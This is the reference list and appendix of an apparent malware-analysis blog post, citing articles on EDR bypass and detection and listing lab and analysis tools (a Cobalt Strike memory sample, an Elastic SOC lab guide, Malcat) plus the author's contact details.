[5] Orange Cyberdefense – Bypassing EDR to Dump LSA Secrets
https://www.orangecyberdefense.com/global/blog/cybersecurity/bypassing-edr-to-dump-lsa-secrets
Accessed: 20 July 2025
[6] Volexity – Using Memory Analysis to Detect EDR-Nullifying Malware
https://www.volexity.com/blog/2023/03/07/using-memory-analysis-to-detect-edr-nullifying-malware/
Accessed: 20 July 2025
[7] SpecterOps – Deep Sea Phishing Part 1
https://posts.specterops.io/deep-sea-phishing-pt-1-092a0637e2fd
Accessed: 20 July 2025
[8] MalwareTech – Bypassing EDRs with EDR Preload
https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
Accessed: 20 July 2025
[9] VMRay – EDR Bypass Tools: ScareCrow and the Advantage of the Attacker
https://www.vmray.com/advantage-attacker-edr-bypass-tools-scarecrow/
Accessed: 20 July 2025
[10] S3cur3Th1sSh1t – A Tale of EDR Bypass Methods
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
Accessed: 20 July 2025
9.4 Appendix
9.4.1 Tools and Resources
- You can download the Cobalt Strike
.mem
file used in this blog here. - Elastic Stack (SOC Lab Setup) — Guide for setting up a local SIEM and detection lab using Kali Purple and the Elastic Stack.
- Malcat Download Page — A free and lightweight disassembler for static malware analysis and C2 extraction.
9.4.2 Collaboration & Contact
If you’re interested in research collaboration in machine learning, AI, malware analysis, or generative adversarial networks (GANs), feel free to get in touch:
- Email: info@daniyyell.com
- LinkedIn: Daniel Jeremiah — more active here for networking and discussion.